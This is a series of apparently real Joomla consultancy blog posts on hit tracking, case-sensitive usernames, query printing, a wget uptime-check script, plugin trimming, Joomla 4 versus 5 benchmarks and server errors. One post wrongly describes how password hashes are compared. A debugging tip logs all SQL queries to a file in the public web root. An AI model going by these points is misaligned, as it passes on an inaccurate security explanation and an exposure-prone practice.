How to Disable Article/Category Hit Tracking in Joomla 4/5

Almost 11 years ago, we published an article on how to disable hit tracking in Joomla. The process explained in that old article worked for Joomla 1.5, 1.6, 1.7, 2.5 and 3 (it didn’t work for Joomla 1.0 because the code in Joomla 1.0 was more of a spaghetti code than real code).

The solution described in our old post consisted of a core modification – which is something that we love to do (for some reason), but it is also something that should be avoided when possible. Joomla 4 and 5 have a new option that allows you to disable article/category hit tracking from within the CMS (without any core modification), here’s how:

  • Login to your Joomla website.
  • Click on Content -> Articles on the left menu.

  • Click on Options on the top.

  • Click on the Articles tab (this should already be clicked by default).

  • Scroll down below, and change the value of “Record Hits” to “No”.

  • Save & Close the configuration settings for the articles.

  • That’s it! You’ve now disabled article hit tracking on your Joomla website. Not only that, you’ve disabled hit tracking on the categories as well – as both the articles and the categories share the same setting.

As you can see above, the solution is simple and straightforward, but, if you like to do it in the core itself (one reason to do it from the core is that the mod_articles_popular module will not work if the “Record Hits” configuration setting is set to “No”), then here’s how to do it:

  • Open the file ArticleModel.php file under the components/com_content/src/Model folder of your Joomla website.
  • Add the following line at the very beginning of the function hit:

    return true;

  • Save the file and upload it back. Note that if you want to also disable hit tracking for categories, you will need to make the exact modifications to the CategoryModel that is located in the same folder.

So, what is hit tracking anyway?

Hit tracking consists of incrementing the views of an article – so, if Joomla says that an article has 31 hits, this means that the article has been viewed 31 times.

Why would anyone want to disable hit tracking?

Hit tracking is a very useful feature, and it is used in several Joomla modules/features, such as the mod_articles_popular module that is used to display the most viewed articles. That’s the bright side of things, the other side of things though is that this feature is heavy – very heavy especially on large Joomla websites (e.g. news websites) as it modifies/locks the #__content table for every page view. If left unchecked, this feature can crash a large Joomla website during peak traffic hours. So, an alternative method to record the views must be used – for example, on very active/large Joomla websites, we send a hit request about 5% of the time.

Is hit tracking only available on Joomla content items (e.g. articles/categories)?

No, it is also available on contacts items (contacts and categories), newsfeed items (newsfeed and categories), and tags. Hit tracking on each of these items can be disabled from the Options of the respective component.

We hope someone, somewhere found this post useful. If you need help with the implementation or if you need any advice, then please contact us (our fees will apply).

How to Make Usernames in Joomla 4/5 Case Sensitive

Last week, we were tasked by a new client to make the usernames on their Joomla 5 website case sensitive. For example, they wanted to have something like “admin” and “Admin” as different usernames – this of course, means, that the logins are also case sensitive (in case you didn’t notice, by default, you can use “john” or “John” or “JOHn” as the username when logging in to a Joomla website, and they’ll all work, even if the username was initially added as “john”).

It was a fun task… We first thought about changing the Joomla core to accomodate the request, but the more we dug into it, the more we discovered that we needed to work on the database to make this happen – and this is because varchar strings, in MySQL, are typically case insensitive – this means that even if we solve the problem on Joomla’s end, we will also need to solve it on MySQL’s end. Then it hit us: what if we change the string type of the username field to something binary (instead of a regular string) – all collations have a binary option, which should make this test a breeze!

Here’s how to do change the username‘s case insensitive collation to a binary collation:

  • Open phpMyAdmin and select the database powering your Joomla website.
  • Go to the #__users table (where #__ is your database prefix).

  • Click on Change on the username row.

  • Under Collation, select utf8mb4_bin instead of utf8mb4_unicode_ci.

  • That’s it!

We tried the above and, to our surprise, it worked. We were able to add the same username with uppercase characters, and Joomla accepted it. In addition, Joomla automatically imposed case sensitivity on the username. This whole experiment meant that Joomla relied exclusively on MySQL when it comes to case sensitivity for usernames.

But the “password” field’s collation is “utf8mb4_unicode_ci”, still it is case sensitive – how?

We’re glad you asked – Joomla does not compare the password field as it is, it converts your input to a hash, and converts the password in the database to a hash (this automatically imposes case sensitivity), and then compares the two. It doesn’t do a simple string comparison between the password inputted by the user and the password in the database.

Note: This has been tested on Joomla 4 and Joomla 5 – it should work on other versions of Joomla but we haven’t tested it.

We hope you found this post helpful and informative – if you need any help with the implementation, then please contact us. We are very experienced in Joomla, we are friendly, and our fees are affordable!

How to Print a Joomla Query from PHP

So you’re working on a new extension, or in the Joomla core itself, and you’re using a DatabaseQuery object, and you want to print the query object as a SQL string. How do you do that?

Well, assuming the name of the object is $query, there are 4 ways to do this:

  1. echo $query->__toString();: This statement prints the SQL string out of the $query object, but there’s a catch: the SQL string has the database prefix as #__.
  2. echo($query);: This simple code is equivalent to the previous one, since (in PHP) printing an object as a string is really calling the __toString() method of that object.

  3. echo($query->dump());: This code is equivalent to the first and second code, with one minor difference: the #__ is replaced with the actual database (or table) prefix (or alias). This is the best method to print the SQL string out of the DatabaseQuery object.

  4. str_replace('#__', $query->db->getPrefix(), $query): This code yields the exact output as the previous one – this is normal, because the dump method simply consists of this str_replace code.

Note that all 4 methods work in Joomla 2.5, 3, 4, and 5 – it’s probably worth to mention though that the implementation of the __toString method (which is the base method used by all the other methods) differs between Joomla 2.5/3 and Joomla 4/5.

So, which method is the most used to print a SQL query? One would think the 3rd method, but, from our observation, it’s actually the first one – which is odd, because the second method is the simplest, and the third method is the best (as it prints the SQL command with the database prefix). What’s even more odd is that the third method is deprecated since Joomla 4 with no replacement (according to the documentation). We’re not sure why is that exactly.

We hope you found this short post useful – and if you need help with anything Joomla, including development, then please contact us. Our fees are right, our Joomla expertise is unquestioned, and our work is very clean!

A Free, Simple, and Efficient Heartbeat System for Your Joomla Site

We monitor the Joomla sites of our enterprise clients – and we do not do so with the help of a paying 3rd party tool – we do so with a little tool that we developed ourselves. The tool is nothing fancy, but it works really well!

Today, we are sharing full details about this small tool, including the source code!

So, what is this tool?

This tool is a simple Linux shell script that checks if the website works by grabbing the content (using wget), and seeing if the length of the content is above a certain (fixed) amount of bytes. If it’s not able to grab the content, or if the size is not above the threshold, then it emails us telling us that the website is down.

Will it know that a website is hacked?

In short, the answer is no, it won’t know if the website is hacked. This is because a hacked website, in general, does not result in smaller pages (in fact, in many cases, a hacked website will result in larger pages). Having a tool that discovers if a website is hacked is more complex (but still feasible).

Can I have the source code of this tool?

But certainly! You only needed to ask (well, not even)! Here’s how to do it:

  • Create, in the Linux shell (and as root), a file called sitebeat.sh (place it under the /home/scripts/ folder – if that folder doesn’t exist, then create it), make it executable by root by issuing the following commands:

    chown root sitebeat.sh
    chmod 700 sitebeat.sh

    It is important that the above file is created on a server other than the server hosting your site(s) – because if the server hosting your site(s) goes down, then your script will still work (and will send you notification in this case).

  • Add the following code to the sitebeat.sh file:

    strMessage=""
    intMinimumSize=50000
    siteSize="`wget -qO - https://www.yourjoomlawebsite.com/ | wc -c`"
    if [[ "$siteSize" -lt "$intMinimumSize" ]]; then
            isError="1"
            strMessage="https://www.yourjoomlawebsite.com/ Not Responding\n"
    fi
    siteSize="`wget -qO - https://www.yoursecondjoomlawebsite.com/ | wc -c`"
    if [[ "$siteSize" -lt "$intMinimumSize" ]]; then
            isError="1"
            strMessage="$strMessage""https://www.yoursecondjoomlawebsite.com/ Not Responding\n"
    fi
    if [[ "$isError" == "1" ]]; then
            echo -e $strMessage
            echo -e $strMessage | mail -s "Warning - At Least One Website Is Faulty" youremail@yourjoomlawebsite.com
    else
            echo -e "Heartbeat is normal"
    fi

    Some explanation here:

    • The intMinimumSize value is the minimum size, in bytes, of your homepage. If you expect the minimum size to be bigger or smaller then you should increase/decrease the intMinimumSize.
    • You should change the https://www.yourjoomlawebsite.com/ and https://www.yoursecondjoomlawebsite.com/ links to your actual Joomla websites – you should also change youremail@yourjoomlawebsite.com to your work email.

    • You can remove the blue lines if you only have one website. If you have more than 2 websites, then you can clone the blue lines and just change the URL in each cloned block of code. You may need to adjust the intMinimumSize (or hardcode it for each website) when you are checking multiple websites.

  • In the crontab, add the following line:

    */10 * * * * /home/scripts/sitebeat.sh #check the heartbeat of the website every 10 minutes

    The above code runs the sitebeat.sh script every 10 minutes, you can increase or decrease the frequency by just changing the */10 code – for example, if you want the script to run every 5 minutes, then you can just replace */10 to */5.

  • Ensure that on the destination server (e.g. the server hosting your websites), you have the IP of the sitebeat server whitelisted. This may not be necessary, but it is a good idea.

  • That’s it!

We hope you find this post informative and useful. If you need help with the implementation, then all you need is to contact us. Our fees are super cheap, our work is super professional, and we deliver very quickly!

A Quick Guide to Optimizing Joomla 5 By Disabling Plugins

Note: It is important to know that your Joomla setup may require any of the plugins disabled below, so it’s a good idea (make that a mandatory idea) to test the whole website during off hours or on a test server each time you disable a plugin.

As a followup to yesterday’s post, which concluded that Joomla 4 has a slight performance edge over Joomla 5, we thought: “What if we disable unnecessary plugins in Joomla 5? Will things get better? And if yes, by how much?”

We thought of a methodology to test, and we quickly came up with one. What if we disable unnecessary plugins one by one and see how much performance gain we get after each “disable”?

We used a test Joomla 5 website (the same test Joomla 5 website from yesterday, where we loaded the sample data), joomla502.com (this is an internal domain only accessibly using a hosts file). We first measured the performance of the website before disabling any plugin using the ab tool in the linux shell…

ab -c 10 -t 10 "http://www.joomla502.com/"

…and we got the following Time per request: 336.035 milliseconds.

We then started disabling plugins one by one. Here are our findings (note that once we disable a plugin we leave it disabled, e.g. we don’t re-enable a plugin and then disable the next one):

  • Disabling all the Fields plugins: This group of plugins consist of the following:

    • Content – Fields
    • Fields – Calendar
    • Fields – Checkboxes
    • Fields – Colour
    • Fields – Editor
    • Fields – Imagelist
    • Fields – Integer
    • Fields – List
    • Fields – Media
    • Fields – Radio
    • Fields – SQL
    • Fields – Subform
    • Fields – Text
    • Fields – Textarea
    • Fields – URL
    • Fields – User
    • Fields – Usergrouplist
    • System – Fields

    You may be using the Fields plugins so this step might be moot, but if you’re not, then disabling the plugins is a good step, as the Time per request will drop to 313.774 milliseconds – a considerable improvement over the default load time (6.62%) with just a few clicks!

  • Disabling all the Schema.org plugins: These plugins generate the schema.org HTML tags in the code. They are useful, but if you’re not using them, then you can just disable them (we believe these should be disabled by default, as this is a new Joomla feature). Here are the plugins that should be disabled:

    • Schema.org – BlogPosting
    • Schema.org – Book
    • Schema.org – Event
    • Schema.org – Organization
    • Schema.org – Person
    • Schema.org – Recipe
    • Schema.org – JobPosting
    • System – Schema.org

    Disabling them reduced the Time per request to 304.954 milliseconds (2.81% over the previous step). Not bad!

  • Disabling the System – Passkey (Passwordless) Login plugin: The passwordless login is a practical but seldom used feature that allow users to login without entering a password (using fingerprint, face recognition, dongle, etc…). Disabling this plugin reduced the Time per request to 302.847 milliseconds and we saved the system from loading 16 files!

  • Disabling the System – Guided Tours plugin: If you want to know, this plugin is responsible for the guided tours feature on Joomla, that is mainly available in the backend (the “Take a Tour” button at the top), and that almost nobody uses, and that loads a few unnecessary files on every page on the frontend. Having said that, we think that this is a good feature to have, especially for a custom component where you want to provide an explanation for the end user on how to use the component. The Time per request was reduced to 297.713 milliseconds – a minor but welcome improvement. In addition, we saved 5 files from being loaded.

  • Disabling the Action Log plugins: This set of plugins consist of:

    • Action Log – Joomla
    • Privacy – Action Logs
    • System – User Actions Log
    • Task – Delete Action Logs

    These plugins are mainly responsible for recording user actions in the backend – so, disabling them not only lessens the number of files loaded and enhances performance, it will also prevent the Joomla website from performing unnecessary writes to the database (mostly during peak hours) which can negatively impact performance. The Time per request shot up slightly to 299.002 millieseconds – still, we believe that on real websites, these should be disabled if the action logs are not monitored by anyone, as those unnecessary database writes will throw additional stress on the server especially during peak hours.

  • Disabling the Behaviour – Backward Compatibility plugin: This plugin is responsible for loading libraries that are used for backward compatibility. Disabling this plugin reduced the Time per request to 286.032 milliseconds – a welcome (4.33%) improvement over the previous step. We also reduced the number of loaded files by 4.

  • Disabling miscellaneous plugins: We then disabled miscellaneous plugins, which are:

    • System – Debug
    • Content – Email Cloaking (really useless plugin in this day and age)
    • System – Task Notification
    • System – Joomla Accessibility Checker

    Doing the above didn’t result in any improvement, but we are certain that, with enough traffic and content, disabling unnecessary plugins will yield non-negligible positive performance results.

So, how much improvement did we get in total just by “clicking”? Well, let’s see, we started with 336.035 milliseconds and we ended with 286.032 milliseconds, a whopping 14.88% improvement, and this is only with a few minutes of work! But there’s more, much more serious optimization – and if you’re curious, just contact us. You will be amazed at what we can do for a relatively small price!

Joomla 4 vs Joomla 5 – Which One Is Faster?

A very common question that we get from our clients who are hesitant to migrate to Joomla 5 is: “Does it run any faster than Joomla 4”? Our answer is: “We don’t know, but we’ll soon run some benchmarks and get back to you!”

Well, we decided that soon is now. Here’s what we did to find the definitive answer to this question…

The Environment

For our benchmarking tests, we selected a dedicated server with the following specs:

  • Processor: Intel Dual Xeon Gold 6226R (this processor has 32 cores)
  • Memory: 128GB DDR4 SDRAM
  • Main storage: SSD
  • Database storage: NVMe SSD
  • Operating system: AlamLinux 8
  • Hosting environment: cPanel/ WHM
  • PHP version: 8.2.16
  • Database: MariaDB 10.6.17

The above server should handle a large Joomla website with many articles (provided the right core optimization is done).

The Setup

We created, on the above server, 2 cPanel accounts, one called joomla442 (to host the joomla442.com domain) and the other is called joomla502 (to host the joomla502.com domain). As you may have guessed, the first one is meant to host a test Joomla 4.4.2 website, and the second one is meant to host a test Joomla 5.0.2 website.

We then downloaded Joomla 4.4.2 and installed it on the first account, and then downloaded Joomla 5.0.2 and installed it on the second account. After that, we modified the hosts file of the server and our client machine to point the joomla442.com and the joomla502.com domains to the IP of the dedicated server that is hosting the above accounts (not being cheap or anything, but we really didn’t want to buy real domains just for this test).

We then created two unique articles on the first website and copied them to the second website. Both articles were about 1,000 words (if you’re curious, we used AI to auto-generate those articles, and if you’re really curious, the first article was about Medieval England, and the second article was about Medieval Switzerland – both interesting topics for history fans). We ensured that both of these articles were featured, and then we tested each domain and it correctly listed both articles on the homepage.

We did not make any modifications to the websites – we left all the default settings as they were and we did not publish/unpublish any of the plugins or the modules. We also did not install any extension whatsoever and we used the default template, which is Cassiopeia (in case you’re curious, Cassiopeia is the name of a constellation that has a few stars).

The next step was to install ab, which is the apache benchmarking tool (part of the httpd-tools package), by issuing the following command in the linux shell (as root):

yum install httpd-tools

Now we’re ready for the comparison between Joomla 4 and Joomla 5! Are you?

The Comparison

The methodology that we followed for comparing the Joomla 4 and Joomla 5 consisted of 4 areas: the total number of files, the total number of included files (on the homepage and the article page), the number of database queries (on the homepage and the article page), and the benchmarking.

  • The total number of files

    While not an important factor when it comes to performance, the total number of files in the Joomla folder indicates whether Joomla 5 is going in the right direction when it comes to removing unnecessary files that are no longer used, which is a great indicator of coding methodology. We are happy to say that this is the case, as Joomla 4 has 9,571 files, 3,293 folders, and a zipped size of 76.4 MB, while Joomla 5 has 8,989 files, 3,261 folders, and a zipped size of 69.6 MB. This means that the Joomla team has taken the initiative to reduce the technical overhead in the Joomla core.

  • The number of included files

    The number of included files is (usually) inversely proportional to the performance of the website, that’s why we wanted to determine how many files each website is including/requiring when loading the homepage and an article page. We did this by adding the following code to the end of the index.php file in the root directory of each website:

    $arrResult = get_included_files();
    echo(count($arrResult));

    We then loaded each website on the homepage and on the same article page.

    • Homepage

      For the Joomla 4 website, the number of included files was 581, for the Joomla 5 website, the number of included files was 660, 13.60% more files than Joomla 4 (79 more files are loaded in Joomla 5).

    • Article page

      For the Joomla 4 website, the number of included files was 590, for the Joomla 5 website, the number of included files was 668, 13.22% more files than Joomla 4 (78 more files are loaded in Joomla 5).

    Clearly, the results are disappointing as Joomla 5 is including almost 80 more files on both the homepage load and the article page load. What is interesting though was that the number of additional files is almost the same in both tests, which means that something is running on all pages that is requiring those additional files – naturally, we investigated further!

    We compared the included files on Joomla 4 with those on Joomla 5, and the biggest difference that we noticed was the additional inclusion of the Fields plugins’ files, the Schema.org plugins’ files, and some events files. Here are the main files that we think are problematic and should not be included on every page load:

    libraries/src/Event/AfterExtensionBootEvent.php
    libraries/src/Event/Application/AfterDispatchEvent.php
    libraries/src/Event/Application/AfterInitialiseDocumentEvent.php
    libraries/src/Event/Application/AfterInitialiseEvent.php
    libraries/src/Event/Application/AfterRenderEvent.php
    libraries/src/Event/Application/AfterRespondEvent.php
    libraries/src/Event/Application/AfterRouteEvent.php
    libraries/src/Event/Application/ApplicationDocumentEvent.php
    libraries/src/Event/Application/ApplicationEvent.php
    libraries/src/Event/Application/BeforeCompileHeadEvent.php
    libraries/src/Event/Application/BeforeRenderEvent.php
    libraries/src/Event/Application/BeforeRespondEvent.php
    libraries/src/Event/BeforeExtensionBootEvent.php
    libraries/src/Event/Content/AfterDisplayEvent.php
    libraries/src/Event/Content/AfterTitleEvent.php
    libraries/src/Event/Content/BeforeDisplayEvent.php
    libraries/src/Event/Content/ContentEvent.php
    libraries/src/Event/Content/ContentPrepareEvent.php
    libraries/src/Event/Model/BeforeValidateDataEvent.php
    libraries/src/Event/Model/FormEvent.php
    libraries/src/Event/Model/NormaliseRequestDataEvent.php
    libraries/src/Event/Model/PrepareFormEvent.php
    libraries/src/Event/Module/AfterCleanModuleListEvent.php
    libraries/src/Event/Module/AfterModuleListEvent.php
    libraries/src/Event/Module/AfterRenderModuleEvent.php
    libraries/src/Event/Module/AfterRenderModulesEvent.php
    libraries/src/Event/Module/BeforeRenderModuleEvent.php
    libraries/src/Event/Module/ModuleEvent.php
    libraries/src/Event/Module/ModuleListEvent.php
    libraries/src/Event/Module/PrepareModuleListEvent.php
    libraries/src/Event/Module/RenderModuleEvent.php
    libraries/src/Event/Plugin/System/Schemaorg/BeforeCompileHeadEvent.php
    libraries/src/Event/ReshapeArgumentsAware.php
    libraries/src/Event/Result/ResultAware.php
    libraries/src/Event/Result/ResultAwareInterface.php
    libraries/src/Event/Result/ResultTypeArrayAware.php
    libraries/src/Event/Result/ResultTypeStringAware.php
    libraries/src/Event/User/LoginButtonsEvent.php
    libraries/src/Schemaorg/SchemaorgPluginTrait.php
    libraries/src/Schemaorg/SchemaorgPrepareDateTrait.php
    libraries/src/Schemaorg/SchemaorgPrepareDurationTrait.php
    libraries/src/Schemaorg/SchemaorgPrepareImageTrait.php
    libraries/src/Schemaorg/SchemaorgServiceInterface.php
    libraries/src/Schemaorg/SchemaorgServiceTrait.php
    plugins/fields/calendar/services/provider.php
    plugins/fields/calendar/src/Extension/Calendar.php
    plugins/fields/checkboxes/services/provider.php
    plugins/fields/checkboxes/src/Extension/Checkboxes.php
    plugins/fields/color/services/provider.php
    plugins/fields/color/src/Extension/Color.php
    plugins/fields/editor/services/provider.php
    plugins/fields/editor/src/Extension/Editor.php
    plugins/fields/imagelist/services/provider.php
    plugins/fields/imagelist/src/Extension/Imagelist.php
    plugins/fields/integer/services/provider.php
    plugins/fields/integer/src/Extension/Integer.php
    plugins/fields/list/services/provider.php
    plugins/fields/list/src/Extension/ListPlugin.php
    plugins/fields/media/services/provider.php
    plugins/fields/media/src/Extension/Media.php
    plugins/fields/radio/services/provider.php
    plugins/fields/radio/src/Extension/Radio.php
    plugins/fields/sql/services/provider.php
    plugins/fields/sql/src/Extension/SQL.php
    plugins/fields/subform/services/provider.php
    plugins/fields/subform/src/Extension/Subform.php
    plugins/fields/text/services/provider.php
    plugins/fields/text/src/Extension/Text.php
    plugins/fields/textarea/services/provider.php
    plugins/fields/textarea/src/Extension/Textarea.php
    plugins/fields/url/services/provider.php
    plugins/fields/url/src/Extension/Url.php
    plugins/fields/user/services/provider.php
    plugins/fields/user/src/Extension/User.php
    plugins/fields/usergrouplist/services/provider.php
    plugins/fields/usergrouplist/src/Extension/UsergroupList.php
    plugins/schemaorg/blogposting/services/provider.php
    plugins/schemaorg/blogposting/src/Extension/BlogPosting.php
    plugins/schemaorg/book/services/provider.php
    plugins/schemaorg/book/src/Extension/Book.php
    plugins/schemaorg/event/services/provider.php
    plugins/schemaorg/event/src/Extension/Event.php
    plugins/schemaorg/jobposting/services/provider.php
    plugins/schemaorg/jobposting/src/Extension/JobPosting.php
    plugins/schemaorg/organization/services/provider.php
    plugins/schemaorg/organization/src/Extension/Organization.php
    plugins/schemaorg/person/services/provider.php
    plugins/schemaorg/person/src/Extension/Person.php
    plugins/schemaorg/recipe/services/provider.php
    plugins/schemaorg/recipe/src/Extension/Recipe.php

    The inclusion of the Fields files, in particular, was concerning. We thought that the latest version of Joomla 4 had those plugins disabled by default, and that’s why they were not included, but a quick check revealed that all the Fields plugins were enabled on Joomla 4, but Joomla 4 had enough intelligence to know that they were not being used, and hence they were not included. The same can’t be said about Joomla 5, that is also including the unused Schema.org plugins. As for the event files, such as the AfterExtensionBootEvent.php, we didn’t want to investigate, but we highly suspect that the website can run without them loading on every page.

    To its credit, Joomla 5 is no longer including about 24 files that were included in Joomla 4 on every page load.

    Why do we think that this has anything to do with performance?

    Every file include (whether used or not) is an overhead that, to a certain degree, impacts the performance of the website negatively. Joomla 4 is much better in that area.

  • The database queries

    Judging from the additional number of included files on every page load in Joomla 5 – we were not very optimistic about the database queries, as we had a hunch that Joomla 5 will also disappoint us in the “database” area.

    In order to do the test, we added, for each website, the following code to the libraries/vendor/joomla/database/src/DatabaseDriver.php at the very beginning of the execute function, just before the $this->connect() function call:

    $sqlQuery = $this->replacePrefix((string) $this->sql);
    file_put_contents("queries.txt", $sqlQuery."\n", FILE_APPEND | LOCK_EX);

    The above code writes all the queries to the queries.txt file under the root directory of the Joomla website. We first tested the homepage, and, to our surprise and delight, the queries were exactly the same. Not one single difference (other than the table alias, of course)! We didn’t believe it, considering the number of additional files Joomla 5 was loading, so we repeated the test multiple times, and every time we had the same results!

    We then tested a single article page, and also had the exact same list of queries for both websites, with just one difference: Joomla 5 ran the following additional query:

    SELECT *
    FROM `#__schemaorg`
    WHERE `itemId` = :itemId AND `context` = :context

    As you may have guessed, the above query is caused by the new Schema.org plugin(s) (which, in our opinion, should be disabled by default).

    So, from our little experiment, we confirm that Joomla 5 has negligible additional overhead over Joomla 4 in the database department. This is to prove that sometimes our “hunch” can be wrong.

  • The benchmarking

    For most non-technical people, this is what really matters: the benchmarking. Which Joomla performs better? If you read through the whole article, then you may have seen signs that suggest that Joomla 5 is slightly slower, mainly because of the additional included files, and the minute database overhead, but let’s do some tests to make sure.

    ab is the ideal Apache benchmarking tool, and it works by issuing the following command in the Linux shell:

    ab -c 10 -t 10 "http://www.joomla442.com/"

    The above command means that we are sending 10 concurrent requests (-c 10) over 10 seconds (-t 10) to the joomla442.com website.

    So, we ran ab on both sites, and here are the results:

    ab -c 10 -t 10 "http://www.joomla442.com/"
    
    Benchmarking www.joomla442.com (be patient)
    Finished 368 requests
    
    
    Server Software:        Apache
    Server Hostname:        www.joomla442.com
    Server Port:            80
    
    Document Path:          /
    Document Length:        35062 bytes
    
    Concurrency Level:      10
    Time taken for tests:   10.020 seconds
    Complete requests:      368
    Failed requests:        0
    Total transferred:      13107792 bytes
    HTML transferred:       12902816 bytes
    Requests per second:    36.72 [#/sec] (mean)
    Time per request:       272.295 [ms] (mean)
    Time per request:       27.230 [ms] (mean, across all concurrent requests)
    Transfer rate:          1277.44 [Kbytes/sec] received
    
    Connection Times (ms)
                  min  mean[+/-sd] median   max
    Connect:        0    0   0.0      0       0
    Processing:   247  264   9.9    262     317
    Waiting:      239  254   9.7    252     306
    Total:        247  264   9.9    262     317
    
    Percentage of the requests served within a certain time (ms)
      50%    262
      66%    263
      75%    265
      80%    265
      90%    270
      95%    287
      98%    301
      99%    307
     100%    317 (longest request)
    
    ab -c 10 -t 10 "http://www.joomla502.com/"
    
    Benchmarking www.joomla502.com (be patient)
    Finished 344 requests
    
    
    Server Software:        Apache
    Server Hostname:        www.joomla502.com
    Server Port:            80
    
    Document Path:          /
    Document Length:        35825 bytes
    
    Concurrency Level:      10
    Time taken for tests:   10.010 seconds
    Complete requests:      344
    Failed requests:        0
    Total transferred:      12515408 bytes
    HTML transferred:       12323800 bytes
    Requests per second:    34.37 [#/sec] (mean)
    Time per request:       290.992 [ms] (mean)
    Time per request:       29.099 [ms] (mean, across all concurrent requests)
    Transfer rate:          1220.97 [Kbytes/sec] received
    
    Connection Times (ms)
                  min  mean[+/-sd] median   max
    Connect:        0    0   0.1      0       0
    Processing:   267  280  10.4    277     327
    Waiting:      258  270   9.9    268     317
    Total:        267  280  10.4    277     327
    
    Percentage of the requests served within a certain time (ms)
      50%    277
      66%    279
      75%    280
      80%    282
      90%    290
      95%    308
      98%    314
      99%    320
     100%    327 (longest request)

    We highlighted the important numbers in bold red, and they are the Complete Requests (which indicates the number of performed requests in 10 seconds) and the Time per request (which indicates the time it takes to process each request). As you can see, Joomla 4 performed 368 requests in 10 seconds, where the mean request time is 272.3 milliseconds. Joomla 5 performed 344 requests in 10 seconds, where the mean request time is 290.9 milliseconds. This small benchmarking test indicates that Joomla 5 is 6.83% slower than Joomla 4.

    But, what if we increase the number of concurrent request from 10 to 20 to 30, etc… What will the results be?

    Here comes the chart!

    Figure 1: Joomla 4.4.2 vs Joomla 5.0.2

    Figure 1: Joomla 4.4.2 vs Joomla 5.0.2

    You can clearly see, from the above chart, that Joomla 4 outperforms Joomla 5 consistently.

    Note: We didn’t install the blog sample data in our tests because we were not sure that the data was the exact same on both Joomla 4 and Joomla 5. But, for those of you who insist that we try the benchmarking test with the sample data, we installed the sample data after finishing the main tests, and the results were pretty much the same, where Joomla 4 has a slight edge over Joomla 5.

    Another note: We repeated the same benchmarking on an article page, and, while Joomla 4 still fared consistently better, the difference was really negligible (less than 0.2%).

So, there you have it: with the exception of the number of files/folders in the installation file (which is really the least important factor), Joomla 4 is slightly faster/more optimized than Joomla 5 in every single aspect, just like Joomla 3.8.1 is slower than Joomla 3.7.5. There is still hope though for those of you who want to have a super fast Joomla 5 website, you can contact us, and not only we will help you match Joomla 4’s performance, we will also help you beat it (our fees apply)!

Joomla 4 Update Failing – Possible Cause

While trying to upgrade the Joomla websites for one of our clients to the latest Joomla 4 version, we ran into the infamous “red screen” Joomla error page with the following ambiguous error: “An error occurred”. This meant that the update didn’t work (duh), but, on the bright side, the website wasn’t broken either (e.g. the update didn’t fail mid-update).

So, we enabled debugging in Joomla’s global configuration the following way:

  • We logged in to Joomla’ backend.
  • We clicked on “System” on the left panel.
  • We clicked on “Global Configuration” in the top middle.
  • We clicked on the “System” tab, and then we changed the values of “Debug System” and “Debug Language” to “Yes”

Once we did that, we tried to do the update again, and this time we saw an error saying that there was a problem allocating enough memory in one of the files, meaning that we needed to increase the memory for the update to work.

We checked the “PHP Settings” tab on the “System” -> “System Information” page in the Joomla backend, and it turned out that the “Memory Limit” was set to 64M (e.g.64 megabytes), the update possibly needed double that number for it to work.

So, we opened the file .user.ini (the file needs to be created if it doesn’t exist) which is in the root directory of the Joomla website, and we added the following line:

memory_limit = 128M

We then saved the file and uploaded it back, and then tried to do the update once more, and this time it worked!

But why did the problem happen in the first place?

It seems that the latest Joomla 4 updated just needs more memory. We confirm this information as we tried to update 6 other sites, and none of the updates worked with 64M memory.

What can one do if the above doesn’t work, or if the problem is not a memory limitation issue?

Simple! Just contact us! We’ll solve the problem for you quickly, efficiently, with minimum downtime, and for a very reasonable fee!

Errcode: 30 “Read-only file system” Fatal Error on Joomla 4 Site

Yesterday morning was unsettling to us – to say the very least, as were faced with a blank page when we were checking the homepage of a Joomla 4 website of one of our regular clients.

Our first thought, of course, was to enable error reporting, so, we went to the login page of the Joomla website, and then entered the login credentials, and, to our horror, we saw the following:

1 Can’t create/write to file ‘/tmp/#sql-temptable-5aaf-117a9e3-b8e8.MAI’ (Errcode: 30 “Read-only file system”)

As you may have imagined if you’re a fellow developer, the only thing that we ever read on that error message was “sql” – and so we thought that there was corruption at the database level. But then we checked every other website on this server, and they all had the same error, could it be that the whole database server is corrupted – we know that the database server is not down because Joomla was able to serve the login page, it’s just wasn’t allowing us to login and wasn’t displaying any content on the frontend.

So, we re-read the error message, and now we saw the “Can’t create/write to file” bit, which means that the problem is that the disk is full? Right?

Maybe, but we’re sure it wasn’t the case as we maintained the whole server and we knew for a fact that all disks/partitions on that server were < 20% full, but in this day and age, everything’s possible.

Everything was normal when we logged in to the server, and no disk/partition was full. In fact, we had plenty of space on every disk/partition on that server. Could it be that the system is suddenly unable to write to the “/tmp” folder?

So, the next step was checking the “/tmp” folder, and the moment we issued the following command in the Linux shell:

cd /tmp

We were greeted with the following error:

-bash: cannot create temp file for here-document: Read-only file system

Oh! “Read-only file system”, what does that mean? The permissions were OK (in fact, the /tmp folder’s permission were set to 777), so it’s not that. Could it be what every system administrator dread?

We checked the logs, particularly the /var/log/messages file, and we saw the following:

Aug 28 05:24:09 prod02 kernel: JBD2: Detected IO errors while flushing file data on sdb5-8

It was, as we feared, a hard disk error (sdb5 was a disk partition). In fact, we felt it was a hard disk error from the get-go, but we chose to ignore our feelings, which is obvious when you notice that we ignored seeing the flashing “Read-only file system” in every error message until we had no other option but to see it! (By the way, when we first saw the blank page, we thought that the server was hacked, which was even a much more dreadful scenario).

So, how did we fix the problem?

Restarting the server (through the client’s hosting provider) fixed the problem – but we all know it’s temporary. A permanent solution is to replace the problematic hard disk, and, better yet, replace the whole server, which is what we’re doing at the moment.

We hope that you found this post useful. If you’re running into the same problem on your website(s)/server and you want help, then don’t hesitate to contact us. We will solve the problem for you and we’ll get your website(s)/server up and running in no time (well, in as little time as possible), and for very little money.

How to Check if a User Is Logged In from an External Script in Joomla 4

We were recently tasked with an interesting and what we thought was a simple task: a client asked us to write a script that checks if a user is logged in to a Joomla 4 website from an external website using Ajax. “Simple!” – we thought: we can just copy the code of the root index.php file until the line $app->createExtensionNamespaceMap(); and then add the following code:

$objUser= JFactory::getUser();
if (empty($objUser->id))
	die('0');
die('1');

0 in the above code indicates that the user is not logged in, and 1 (you guessed it), indicates that the user is logged in. So, we created a file called check-user-login.php containing the index.php code until the line $app->createExtensionNamespaceMap(); followed by the above code, and we placed it at the same level of the index.php file, and then we checked if it worked. Well, to our rejoice, it did! Well – when using the direct link at least!

The issue was when we tried to check whether the user is logged in from an external website (e.g. a different website) using the below ajax function:

function checkUserLogin(){
	$.ajax({
		url: "https://[URL]/check-user-login.php",
		cache: false,
		type: "GET",
		success: function(data) {
			if (data == '1'){
				console.log('User is logged in');
			}
			else{
				console.log('User is not logged in');
			}
		}
	});
}

